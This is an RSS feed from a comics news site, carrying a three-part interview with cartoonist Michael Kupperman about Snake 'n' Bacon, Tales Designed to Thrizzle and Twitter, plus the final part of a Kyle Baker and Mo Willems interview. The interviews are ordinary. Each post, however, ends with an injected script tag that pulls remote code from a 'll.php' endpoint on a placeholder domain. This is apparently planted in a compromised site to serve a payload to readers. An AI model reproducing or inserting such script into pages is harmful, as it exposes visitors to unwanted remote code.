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	<title>The Daily Cross Hatch &#187; Cartoon Network</title>
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		<title>Interview: Michael Kupperman Pt. 3 [of 3]</title>
		<link>http://thedailycrosshatch.com/2009/06/03/interview-michael-kupperman-pt-3-of-3/</link>
		<comments>http://thedailycrosshatch.com/2009/06/03/interview-michael-kupperman-pt-3-of-3/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 13:27:01 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Adult Swim]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Fantagraphics]]></category>
		<category><![CDATA[Michael Kupperman]]></category>
		<category><![CDATA[Snake n Bacon]]></category>
		<category><![CDATA[Tales Designed to Thrizzle]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=3867</guid>
		<description><![CDATA[
			
				
			
		

In this third and final part of our interview with the Tales Designed to Thrizzle author, we discuss comedy writing, the appeal of Webcomics, and Twitter, Twitter, Twitter.
[Part One][Part Two]

There’s a different sort of humor you would have to employ to work on a 200-300 page graphic novel—something more sustainable.
Well, yeah. I mean, one of [...]]]></description>
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<p><a href="http://thedailycrosshatch.com/wp-content/uploads/2009/06/two-fisted_poe-758600.gif"><img class="alignnone size-full wp-image-3870" title="two-fisted_poe-758600" src="http://thedailycrosshatch.com/wp-content/uploads/2009/06/two-fisted_poe-758600.gif" alt="two-fisted_poe-758600" width="300" height="419" /></a></p>
<p>In this third and final part of our interview with the Tales Designed to Thrizzle author, we discuss comedy writing, the appeal of Webcomics, and Twitter, Twitter, Twitter.</p>
<p>[<a href="http://thedailycrosshatch.com/2009/05/19/interview-michael-kupperman-pt-1-of-3/" target="_blank">Part One</a>][<a href="http://thedailycrosshatch.com/2009/05/25/interview-michael-kupperman-pt-2-of-3/" target="_blank">Part Two</a>]</p>
<p><span id="more-3867"></span></p>
<p><strong>There’s a different sort of humor you would have to employ to work on a 200-300 page graphic novel—something more sustainable.</strong></p>
<p>Well, yeah. I mean, one of the things I’ve learned is that there’s a kind of math you can do, so that if you put in this kind of detail, it will be comedic and already half of your work has been done for you. Graham Linehan said something similar for sitcoms with the <em>IT Crowd</em>, where he sees three big laugh moments and builds a whole script around them. It’s kind of like building a house, I guess. If you know that such and such a detail is going to be there, then with the rest of it, you have a little more freedom to conceptualize.</p>
<p><strong>In the same sense, it seems easy to get stuck with a joke character or plotline that’s hard to escape from. </strong></p>
<p>Well, sure. You see that happen to people a lot, hampered by their own success. You if you really don’t want to do the thing and be known for it for the rest of your life, don’t do it.</p>
<p><strong>Basing a longer work on, say, a clever pun, you could easily be trapping yourself in the first couple of pages.</strong></p>
<p>Oh sure, but the way you’re working on something, it usually sends back signals. If you find something that you’re working on unbearable, it’s usually a signal that you shouldn’t be doing it.</p>
<p><strong>It sounds like you’ve got a very set schedule for work, but, in terms of the jokes and characters and storylines you develop, does inspiration strike throughout the day?</strong></p>
<p>Yeah, more or less. There are two kinds of working on a joke. One is not really working, so much as having an idea pop into your head or something comes fully formed. And that’s great, but you can’t depend on that. And then there’s another kind that involves building the joke—sensing a vantage point and then starting to construct it. but of course the point of humor is that you always want it to look easy. You don’t want it to look like you spent two hours on your 140 character line—not that I’ve ever done that [<em>laughs</em>].</p>
<p><strong>We’ve all done that. Are you carrying around notepads with you and writing down jokes as they pop into your head?</strong></p>
<p>Oh yeah, absolutely. Right now, after I get off the phone with you, I have to think of what swears I would use, if I was a British tramp millionaire. That’s the latest question I’ve thrown out on Twitter, so I know people are already coming up with some good ones.</p>
<p><strong>Is the Twitter output feeding into your comic work, or are these two totally separate pursuits?</strong></p>
<p>It’s very rewarding in a lot of ways. Artistically it’s kind of like performance with interaction.  And I’m really enjoying it on several levels.</p>
<p><strong>Making comics is a very lengthy process and the feedback is nowhere near as instantaneous as tweeting something and getting five million @ replies.</strong></p>
<p>Yeah, it’s amazing, and there’s so many witty and smart people on Twitter. It really keeps you on your toes. When I started doing comics, it was for a zine in Williamsburg. I knew a lot of people in other departments, so I’d do comics and they’d respond to them right away. It’s a little feeling of interactiveness that’s part of what drew me to comics. And of course that was done very quickly. It’s been years since I’ve gotten an immediate response to what I’m doing. So Twitter fills like a return to that.</p>
<p><strong>Are you interested in doing more art online? That’s another opportunity for instant feedback.</strong></p>
<p>Oh, absolutely. I think that’s where everything’s heading.</p>
<p><strong>Is there something holding you back from that? Do you prefer having your stuff in print?</strong></p>
<p>Oh no. It’s money. It’s all money. I have so much work to do that it’s hard to find the space for things that are purely conceptual at this point. Right now I have some illustrations to do and 34 pages of comics to do in the next few months—20 of which will never be printed, I think. So time is a big thing.</p>
<p><strong>Twenty pages that won’t be printed?</strong></p>
<p>Yeah, it’s these <em>Lemony Snicket</em> things.</p>
<p><strong>But the money still comes in.</strong></p>
<p>Yeah, that’s why I’m doing it [<em>laughs</em>].</p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Interview: Michael Kupperman Pt. 2 [of 3]</title>
		<link>http://thedailycrosshatch.com/2009/05/25/interview-michael-kupperman-pt-2-of-3/</link>
		<comments>http://thedailycrosshatch.com/2009/05/25/interview-michael-kupperman-pt-2-of-3/#comments</comments>
		<pubDate>Mon, 25 May 2009 15:41:53 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Adult Swim]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Fantagraphics]]></category>
		<category><![CDATA[Michael Kupperman]]></category>
		<category><![CDATA[Snake n Bacon]]></category>
		<category><![CDATA[Tales Designed to Thrizzle]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=3800</guid>
		<description><![CDATA[
			
				
			
		

In this second part of our interview with the Tales Designed to Thrizzle artist, we discuss the premier of the first (and possibly last) episode of his Cartoon Network series, Snake ‘n’ Bacon, get some details on a new series he’s working on for an undisclosed network, and figure out how the hell a cartoonist [...]]]></description>
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<p><a href="http://thedailycrosshatch.com/wp-content/uploads/2009/05/michaelkuppermansnbshow.png"><img class="alignnone size-full wp-image-3801" title="michaelkuppermansnbshow" src="http://thedailycrosshatch.com/wp-content/uploads/2009/05/michaelkuppermansnbshow.png" alt="michaelkuppermansnbshow" width="400" height="302" /></a></p>
<p>In this second part of our interview with the <em>Tales Designed to Thrizzle</em> artist, we discuss the premier of the first (and possibly last) episode of his Cartoon Network series, <em>Snake ‘n’ Bacon</em>, get some details on a new series he’s working on for an undisclosed network, and figure out how the hell a cartoonist can support a family in early 21st century New York.</p>
<p>[<a href="http://thedailycrosshatch.com/2009/05/19/interview-michael-kupperman-pt-1-of-3/" target="_blank">Part One</a>]<br />
<span id="more-3800"></span><br />
<strong>Did you gather people together to watch [<em>Snake 'n' Bacon</em>] when it premiered?</strong></p>
<p>No, I did that a year ago when it was finished. This was purely a conceptual event. It just was on Twitter.</p>
<p><strong>So it must have been a bit anti-climactic. </strong></p>
<p>Not exactly. Thanks to Twitter and other places on the Internet, there was a feeling of an event, which is important, in and of itself. I was actually quite happy with the way things went that night.</p>
<p><strong><em>Snake ‘n’ Bacon</em> doesn’t really seem like the ideal choice from your work to translate into a TV show.</strong></p>
<p>I actually agree. It’s been odd with<em> Snake ‘n’ Bacon</em>, because the joke is that they’re non-characters. They don’t do anything. There’s not much there. And it’s been a weird progression because I started doing them in comics way back when. And then the editor at Avon, later Harper Collins who did <em>Snake ‘n’ Bacon</em> said, “you know, we’ve got to call it &#8216;Snake ‘n’ Bacon.&#8217; He was really enthusiastic. And it was the same thing with the show. It’s always been someone else’s decision to thrust those two out front.</p>
<p><strong>Are you opposed to the idea of creating a single character that you can really sort of hang your hat on? For lack of a better term, a ‘marketable’ character?</strong></p>
<p>Yeah, I must be, right? I haven’t exactly been doing it. Lately I’ve been doing a lot of Twain and Einstein, and they&#8217;re not really marketable, either, even though they’re much more fulfilling as characters. They’ve been flowing out. They’ve kind of taken over for a bit. A lot of the latest <em>Thrizzle </em>was them and there’s been more material since them. Marketing—I guess essentially I’m an artist, so it’s very hard for me to look at things in a marketing light. I guess in a way I’m like a lot of artists who wish they had someone to sell them the right way.</p>
<p><strong>Is the new TV series that you’re attempting to option more<em> Snake ‘n’ Bacon</em>?</strong></p>
<p>No, it’s something completely different. It’s time travel humor.</p>
<p><strong>Is it stuff from <em>Thrizzle</em> or is it completely new?</strong></p>
<p>Yep, completely new idea—new everything.</p>
<p><strong>Is it tough to compartmentalize these divergent projects?</strong></p>
<p>It’s a challenge because I have to keep so many things going all of the time to make any money. On top of the comics, which, as I’m sure you suspect, make absolutely no money. It gets  a schizophrenic. Today I just signed up to do some more comics from Marvel. I just signed up to do a piece called <em>Marv-X The Robot Man</em>. And also I’m doing an illustration for <em>The New York Times</em>. So yeah, it can get a little confusing.</p>
<p><strong>Is magazine illustration your primary source of income?</strong></p>
<p>Illustration has kind of withered. It’s difficult because I don’t feel like it’s there any more, and I don’t feel like pursuing it because I don’t enjoy most illustration anymore. It’s not in good shape. The illustration industry is in bad shape, and I don’t feel like it’s going to get any better. My main source of income, oddly enough, is comics. Not my comics, though—comics for other people. I’m doing comics for the <em>Lemony Snicket</em> books in their paperback form, but I don’t think they’ll ever be printed.</p>
<p><strong>Is the illustration work you do outside of your comics easily recognizable for those familiar with your stuff?</strong></p>
<p>I don’t know—I think not, because Graham Linehan, who I’ve been friendly with for years now—he’s been very supportive. He gave me a lovely blurb for the back of my book, and has been very enthusiastic about my comics—I did the illustration for his avatar for Twitter and his Website. He did actually reproduce an illustration that I did for <em>The New Yorker</em> for a Jack Handy piece and didn’t realize that it was me.</p>
<p><strong>How long did it take to develop the style for <em>Thrizzle</em>?</strong></p>
<p>Years of suffering.</p>
<p><strong> Are you still trying to figure out where to go with it?</strong></p>
<p>I don’t feel like I’ve arrived where I’m going, yet, and I feel like it’s really difficult these days, because essentially you have to build your own thing and define yourself. There just aren’t the structures in place that there were, like 20 or 30 years ago to try to present yourself as an artist.</p>
<p><strong>In terms of the venues?</strong></p>
<p>Yeah, and I think print just doesn’t have the relevance that it did, years ago. And there are more aritists every day. I’m competing against artists that I idolized when I was 10-years-old. And also the way people perceive who you are and what you’re doing—that’s become as important as the work itself.</p>
<p><strong>If living in New York and supporting a family weren’t an issue, what would you be spending your time working on?</strong></p>
<p>I’d be doing much more elborate comics, probably. That’s the terrible irony. The stuff that people love the most that I do is my comics, and they’re the ones I really have to use my own time to do, and I don’t know if I’ll ever really make money from comics, directly. It’s really frustrating, because sometimes I really don’t have the time to do the work that people really like of mine. I’m doing other things to pay the bills, because I have to.</p>
<p><strong>Are you interested in doing longer comic pieces?</strong></p>
<p>Yeah, definitely. I’ve been thinking of doing a graphic novel, for want of a better term—doing something sustained. I would love nothing more than to sit and draw and do the best work that I’m capable of. So that’s my ideal and that’s what I’m struggling towards.</p>
<p><strong>It seems, perhaps, like it could be born out of the series that you’re doing, because you often return to the same characters. </strong></p>
<p>Sure, yeah, or the same ideas and themes.</p>
<p><strong>Would a longer work be similar, in terms of themes? </strong></p>
<p>No. I’m sure there would be some new aspects at that point. There would have to be to make any sense. Otherwise it’s just Shaggy Dog—it can be entertaining, but it doesn’t really hold together. I like challenges, and I like new things, so it does appeal to me.</p>
<p><strong>But definitely something in the comedic vein?</strong></p>
<p>I mean, I think it would have to be, right?</p>
<p><strong>You can always do the turn for the serious book.</strong></p>
<p>Yeah…that doesn’t really appeal to me. I think what’s important for me when I do comics is doing something that I feel is springing out of the comic form. There’s a lot of this graphic novel stuff lately that gets attention because it’s dealing with themes that people are concerned with, but it’s not necessarily comics that needed to be comics. I think the artist I feel closest with is Tony Millionaire, because he really lives in those comics. He could never be anything else.</p>
<p><strong>And your work reflects a certain sense of appreciation for the pulpy stuff, as well. </strong></p>
<p>And that stuff has its own built in goofiness, and I think I respond to that.</p>
<p><em>[Concluded in Part Three]</em></p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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		<slash:comments>2</slash:comments>
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		<item>
		<title>Interview: Michael Kupperman Pt. 1 [of 3]</title>
		<link>http://thedailycrosshatch.com/2009/05/19/interview-michael-kupperman-pt-1-of-3/</link>
		<comments>http://thedailycrosshatch.com/2009/05/19/interview-michael-kupperman-pt-1-of-3/#comments</comments>
		<pubDate>Tue, 19 May 2009 14:06:01 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Adult Swim]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Fantagraphics]]></category>
		<category><![CDATA[Michael Kupperman]]></category>
		<category><![CDATA[Snake n Bacon]]></category>
		<category><![CDATA[Tales Designed to Thrizzle]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=3721</guid>
		<description><![CDATA[
			
				
			
		

Last Sunday night, Michael Kupperman followed in the hallowed footsteps of Tony Millionaire with the premier of Snake ‘n Bacon, a 12-minute-long adaptation of the cartoonist’s perennial favorite onomatopoeiac duo for Cartoon Network’s late-night Adult Swim comedy block.
The show is a mix of animation written and directed by Kupperman and live action bits penned by [...]]]></description>
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<p><a href="http://thedailycrosshatch.com/wp-content/uploads/2009/05/michaelkuppermansnakebaconpromo.jpg"><img class="alignnone size-full wp-image-3722" title="michaelkuppermansnakebaconpromo" src="http://thedailycrosshatch.com/wp-content/uploads/2009/05/michaelkuppermansnakebaconpromo.jpg" alt="michaelkuppermansnakebaconpromo" width="400" height="256" /></a></p>
<p>Last Sunday night, Michael Kupperman followed in the hallowed footsteps of Tony Millionaire with the premier of <em>Snake ‘n Bacon</em>, a 12-minute-long adaptation of the cartoonist’s perennial favorite onomatopoeiac duo for Cartoon Network’s late-night Adult Swim comedy block.</p>
<p>The show is a mix of animation written and directed by Kupperman and live action bits penned by two Daily Show vets and starring James Urbaniak, Andy Blitz, Kristen Schaal, and Bill Hader. Despite the impressive comedic pedigrees, however, it seems we’re unlikely to see any more of the show in its current incarnation—at least not on Cartoon Network.</p>
<p>Kupperman, however, has plenty more to be excited about, including the recently released fifth issue of the absurdly comic series <em>Tales Designed to Thrizzle</em> for Fantagraphics, a peculiar and perpetually hilarious mélange of cartoon sketch comedy and pulpy aesthetic sensibilities. The previous four issues are also set for release as a collected hardcover edition in late-July.</p>
<p>We caught up with Kupperman during his daily hour of freedom.</p>
<p><span id="more-3721"></span></p>
<p><strong>Is now a good time?</strong></p>
<p>I’m getting my hour or so freedom for the day, because I work at night and get what sleep I can during the day. Taking care of a baby is an involved thing—so I don’t get out too much these days.</p>
<p><strong>You work at night—are you one of those 2 AM sort of artists?</strong></p>
<p>Yeah, definitely. I mean, that’s part of my philosophy. I think you should turn your weaknesses into strengths, and I’ve always had terrible insomnia. When I had real jobs, they were always late. So I’m working at nights, though it is tough to get away with. It’s still when I prefer to work, though.</p>
<p><strong>Do your hours affect your output at all? Do you find that you have a different sensibility at 2 AM than you do at, say two PM?</strong></p>
<p>Yeah, probably, that extra little added bit of craziness can at 2 AM.</p>
<p><strong>Which probably serves your work a bit better than others.</strong></p>
<p>Yeah, I guess so. My work is what it is, definitely. It’s not like everyone’s.</p>
<p><strong>Where you surprised to hear that someone was interesting in optioning it for a TV show?</strong></p>
<p>Well, the way it went  was that there were these two guys, Scott Jacobson and Rich Blomquist had the idea to make <em>Snake n Bacon</em> into a TV show. They first came to me and when ahead with the process and got a deal to make it.</p>
<p><strong>It seems like you’ve got a fairly strong involvement with it. You’re listed as the lead writer for the show.</strong></p>
<p>Well, yeah. The way it breaks down is this: the animated material is all taken from <em>Snake n Bacon</em>, the book—just slightly rearranged. For that I had complete control, because if you want something done right, do it yourself. And the live action parts, those are written by Scott and Rich. So those are really theirs.</p>
<p><strong>Are you interested in writing more original work for the show?</strong></p>
<p>Oh, sure. I’m open for anything. I’ve been trying really hard since we finished the pilot to get something else off the ground. It’s a challenge, but I really enjoyed working on it. And I do every inch of that animation. I didn’t know if I could, but I did—even the mouths.</p>
<p><strong>Is that all done on Flash?</strong></p>
<p>I believe its After Effects. Basically it’s me doing the drawing and then John Kuramoto did the animation. He’s the same person who animates Chris Ware for <em>This American Life</em> and he worked on <em>American Splendor</em>. He’s just really really great. He’s an amazing guy to work with.</p>
<p><strong>How long do the layouts take for a single episode?</strong></p>
<p>That was kind of a stop-start process, but actually, not that long. I think I did most of the work for that in about two, two-and-a-half months.</p>
<p><strong>For just that episode?</strong></p>
<p>Yeah. I don’t think there are going to be anymore, unless Adult Swim changes their mind.</p>
<p><strong>They didn’t pick up the pilot?</strong></p>
<p>Yeah. They don’t seem as excited as they might have been.</p>
<p><strong>There’s a pretty solid cast and lineup of writers.</strong></p>
<p>Yeah, I was surprised myself. I thought at least if they didn’t like the show, they want to do something else. But I don’t know. Dealing with them has been a little…crazy. I don’t want to slam them—at least not publicly [<em>laughs]</em>. It’s a little strange. Dealing with these big companies is just a bit weird. They can be very reasonable, and then suddenly you don’t know where you are.</p>
<p><strong>I’ve heard a lot of horror stories from a lot of networks, but it seems like, for the most part, Adult Swim is—I don’t know if “kinder” is the word—at least a little easier to work with than some of the major networks.</strong></p>
<p>Yeah, yeah. But that’s the way it goes. I am talking to another major network. It’s just the lawyers negotiating the contracts stage. It should be happening, but you never know. I’m waiting on that right now.</p>
<p><strong>Now you have this great, very professional-looking demo reel.</strong></p>
<p>Exactly. That was my attitude, and I think that’s got to be your attitude all the time—just do the best you can, and if this doesn’t work, then it’ll show someone else what you can do.</p>
<p><strong>The pilot had its big premier last Sunday. We’re you satisfied with the final product?</strong></p>
<p>You know—huh. The live action was a little rough. That wasn’t under my control. Scott and Richard are great, and I don’t want to slam them or anything, but I thought that it was a little rough and could have been improved—especially the live action. But on the whole, I’m very happy with it, yeah. I’m very proud of it.</p>
<p><strong>Did it not keep with the vibe of the comic?</strong></p>
<p>Well, if the animation didn’t, that’s really my fault. But no, I think it did. It’s just in terms of its presentation and what the network would really be interested in. again, it’s hard to tell. You just never know.<br />
<em><br />
[Continued in Part Two]</em></p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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		<item>
		<title>Interview: Kyle Baker and Mo Willems Pt. 4 [of 4]</title>
		<link>http://thedailycrosshatch.com/2008/10/14/interview-kyle-baker-and-mo-willems-pt-4-of-4/</link>
		<comments>http://thedailycrosshatch.com/2008/10/14/interview-kyle-baker-and-mo-willems-pt-4-of-4/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 13:06:36 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Bugs Bunny]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Don't Let the Pigeon Drive the Bus]]></category>
		<category><![CDATA[Kyle Baker]]></category>
		<category><![CDATA[Mo Willems]]></category>
		<category><![CDATA[Nat Turner]]></category>
		<category><![CDATA[Plastic Man]]></category>
		<category><![CDATA[Sesame Street]]></category>
		<category><![CDATA[The Bakers]]></category>
		<category><![CDATA[Warner Bros.]]></category>

		<guid isPermaLink="false">http://crosshatch.wordpress.com/?p=1765</guid>
		<description><![CDATA[
			
				
			
		


[Photo from Bully's Flickr set]
In this final part of our interview with cartoonists Mo Willems and Kyle Baker, we talk about comics for grownups, taking yourself too serious, and the pitfalls of Captain America.
[Part One][Part Two][Part Three]




Ever since around 1985 [sic, 1986]—the year that Frank Miller’s The Dark Knight, Art Spiegelman’s Maus, and Alan Moore’s [...]]]></description>
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<p><!--[if gte mso 9]&gt;  Normal 0       MicrosoftInternetExplorer4  &lt;![endif]--><!--[if !mso]&gt;--></p>
<p class="MsoNormal"><img class="alignnone" src="http://farm4.static.flickr.com/3013/2857447629_7dee2178d2.jpg?v=0" alt="" width="500" height="376" /></p>
<p class="MsoNormal"><em>[Photo from Bully's <a href="http://www.flickr.com/photos/littlestuffedbull/2857447629/in/photostream/">Flickr set</a>]</em></p>
<p class="MsoNormal">In this final part of our interview with cartoonists Mo Willems and Kyle Baker, we talk about comics for grownups, taking yourself too serious, and the pitfalls of Captain America.</p>
<p class="MsoNormal">[<a href="http://thedailycrosshatch.com/2008/09/17/1624/" target="_blank">Part One</a>][<a href="http://thedailycrosshatch.com/2008/09/23/interview-kyle-baker-and-mo-willems-pt-2/" target="_blank">Part Two</a>][<a href="http://thedailycrosshatch.com/2008/10/07/interview-kyle-baker-and-mo-willems-pt-3-of-4/" target="_blank">Part Three</a>]</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span id="more-1765"></span></p>
<p class="MsoNormal"><strong>Ever since around 1985 [sic, 1986]—the year that Frank Miller’s <em>The Dark Knight</em>, Art Spiegelman’s <em>Maus</em>, and Alan Moore’s <em>Watchmen</em> came out—there’s been a lot of talk about how “comics aren’t just for kids, anymore.” The industry has really shifted. It seems to me, at least from my perspective, that things are shifting back a bit. </strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Kyle Baker:</strong> Yeah, well, my thinking was, when they were doing this whole “comics aren’t just for kids anymore” thing, that this was 40-year-old men who were reading <em>Batman</em> and were ashamed to be reading <em>Batman</em>, so they would say, “oh, it’s not as lame as you think! It’s full of a lot of dirty stuff and violence!”</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Mo Willems:</strong> I also think that a lot of the guys that are doing comic books are starting to have kids, and there is a tough thing when you’ve worked on something and you can’t show it to them. That’s just a weird thing.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB: </strong>And then there’s the whole thing about your fanbase dying. I compare it to pop music, also. When I was in my 20s, I would go to the record store every Tuesday, when the records came out, and I would buy all of the pop records and all of the videos and stuff. And now I have kids, and I spend all of my money on their records and movies, and I don’t have any money for myself. And so, the same thing with comics—you should reach a point when you stop buying them for yourself, and start buying them for your kids. What happened there, for a while, was they started marketing them as collectables and not as entertainment. And that’s where it all went to hell.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>It seems like a similar thing started happening around the same time in animation, as well. Has that shaped—especially on networks like Cartoon Network and Nickelodeon—what you can and can’t get away with?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> It’s not about what you can and can’t get away with. I think a lot of animators are embarrassed that children enjoy their medium. I’ve never really understood that. It’s not that it’s a medium that adults can’t enjoy, and it’s not that you can’t make adult films—Paul Friedlander, for one, is making these great documentaries that are really, really beautiful—it’s that what’s come to pass as ‘adult animation’ is 15-year-old booger jokes. It’s not actually for adults. It’s post-pubescent animation. There’s nothing wrong with that, it just doesn’t interest me. If I was going to do adult animation, I’d like to do something that grownups would actually watch.</p>
<p class="MsoNormal">But you know, in the same way that picture book authors were running around saying, “it’s art, no really, it’s art! We’re artists!” And now that’s over. We don’t need to prove that we’re artists. We can go back to the work that we’re doing. I think animators are stuck in this mindset of having to prove their aesthetic work. For me, I’m a cartoonist. The second you take it seriously, you lose all of its potential. What made daily strips in the paper so power was: no one ever suspects the cartoonist. So you read <em>Peanuts</em> every day, it will affect the way you look at the world, but it’s very subtle. I even get nervous when people take picture books seriously, because I’m going to have to start sculpting doo-doo. Just something that no one will take seriously.</p>
<p class="MsoNormal">
<p class="MsoNormal"><em>[Laughter]</em></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Was there a similar point of renaissance in children’ books, when people started taking them seriously, as art?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW: </strong>Yeah. I mean, I think we come from a collectable culture. I think anything can be taken seriously. And it’s not that there isn’t actually worth and aesthetics and all of that stuff in the work. The point is, if you notice it, it’s not entertaining. If somebody says, “oh, check out that amazing composition. He’s really doing an amazing page turn,” you’re not actually reading the story. So, for intellectuals to gain enjoyment out of it is fine, but I don’t even want my audience to know that it’s drawn. I just want it to be. So, for me, the seriousness with which all of this is taken makes me nervous. I hate the term ‘graphic novels.’</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> Well, I hate it because it sounds like a dirty book.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>WM:</strong> It sounds like Jane Austin, with a chainsaw.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> The reason I do the opposite of whatever a critic says I’m doing, is because—for example, I did a <em>Captain America</em> book, and it got just terrible reviews. Everyone just trashed it. And the thing you have to keep in mind, when you read a bad review of your <em>Captain America</em> review, if you ever get one—</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>And if you want one, they’ll probably give it to you—</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> You have to remember that this is the opinion of a grown man who has taken it unto himself to write a 400-page analysis of a <em>Captain America</em> comic. Is this someone you really want to be pleasing?<span> </span>I always test my stuff on my four kids. I say, “is this funny or not? Would you watch this show or read this comic book?” That’s how I decided to take the <em>Phineas and Ferb</em> job. I showed them the pilot and asked if they would watch it. If they said, “no,” I wouldn’t have taken the job.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Do you find a similar difficulty with critics, as far as kids books? Do they just not get it, most of the time?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> No, no, they get it. I don’t have a problem. They understand the history and all that, and I think there’s definitely a place for that. I don’t have a problem with, per se. I don’t really have a problem with reviews or any of that, mostly because a lot of them have been very nice to me. But still, it’s just the story—you just shouldn’t know it’s there. It should be magical. The big lesson that I learned, when <em>Sheep in the Big City</em> was cancelled—I did go on the Internet and found a 10-year-old who wrote, ‘it looks like he’s trying too hard,’ which really shocked me to my core, because I started to think, ‘in what other industry is this a problem? With plumbers?’</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> In the Olympics?</p>
<p class="MsoNormal">
<p class="MsoNormal">MW: Exactly. “He’s swimming away. Look at him, swimming too hard. He’s a plumber, he showed up early, he didn’t take a cigarette break. I don’t trust him.” That ultimately is the core. That is it. They just shouldn’t notice that I was there at all. And when I was writing for <em>Sesame Street</em>, I’d meet a lot of people who’d say, “I don’t watch television. Television’s bad. What do you do?” And I’d say, “I write for television. I write for Sesame Street.” And they’d say, “oh, I love Elmo.” And I’d say, “oh, where’d you see Elmo, on your toaster, or you’re microwave?”</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Well, actually…</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> Yeah, probably, now, they’re different times. But they did see it on television. That was the medium. No one thinks that those scripts are written, which is a sign to me that they’re good.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> You know, have you ever had the experience of drawing a character for a kid, and they sort of get mad at you, because it destroys the illusion?</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> Yeah.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> I was at a part, a couple of weeks ago for some friends. I said, “do you like <em>Phineas and Ferb</em>?” And they said, “oh yes, we love <em>Phineas and Ferb</em>.” And I said, “oh, well I happen to draw <em>Phineas and Ferb</em>.” And I sat there and drew that for them, and they were so unimpressed, because to them, Phineas and Ferb are real people, and they didn’t know that there’s some guy—an old man—drawing them.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> Basically ever public appearance is a setup for disappointment.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB: </strong>That’s why Big Bird never takes his head off.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Really quickly, can you guys talk about what you’re working on now?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> I’m working on a pop-up book with this paper engineer, which is very cool. It’s about this character who can’t fit in, literally. So the whole book is this character trying to fit in. I’m doing radio cartoons. It looks like, and this is in the very distant future, that I’ll be working with the Kennedy Center, I’m going to be writing a musical, based on <em>Knuffle Bunny</em>. So I’m very excited about that. I’m also walking my kid to school…</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB: </strong>Let’s see. My new book is <em>How to Draw Stupid</em>—which is, how to draw cartoons my way. I was trying to think, what can I offer? There are only 100 other cartooning books.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Is it <em>How to Draw, Stupid</em>?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB: </strong>There’s a whole chapter on how to draw stupid people, for example. Comedy is full of stupid people—cross-eyes, buck teeth, and all of that. Also I have a new book called <em>Nat Turner</em>, which is about the Turner Rebellion. And now I’m working on <em>The Bakers</em> TV show, and I guess I’ll do more <em>Bakers</em> strips.</p>
<p class="MsoNormal">
<p class="MsoNormal"><em>&#8211;Brian Heater</em></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<item>
		<title>Interview: Kyle Baker and Mo Willems Pt. 3 [of 4]</title>
		<link>http://thedailycrosshatch.com/2008/10/07/interview-kyle-baker-and-mo-willems-pt-3-of-4/</link>
		<comments>http://thedailycrosshatch.com/2008/10/07/interview-kyle-baker-and-mo-willems-pt-3-of-4/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 15:04:30 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Bugs Bunny]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Don't Let the Pigeon Drive the Bus]]></category>
		<category><![CDATA[Kyle Baker]]></category>
		<category><![CDATA[Mo Willems]]></category>
		<category><![CDATA[Nat Turner]]></category>
		<category><![CDATA[Plastic Man]]></category>
		<category><![CDATA[Sesame Street]]></category>
		<category><![CDATA[The Bakers]]></category>
		<category><![CDATA[Warner Bros.]]></category>

		<guid isPermaLink="false">http://crosshatch.wordpress.com/?p=1730</guid>
		<description><![CDATA[
			
				
			
		

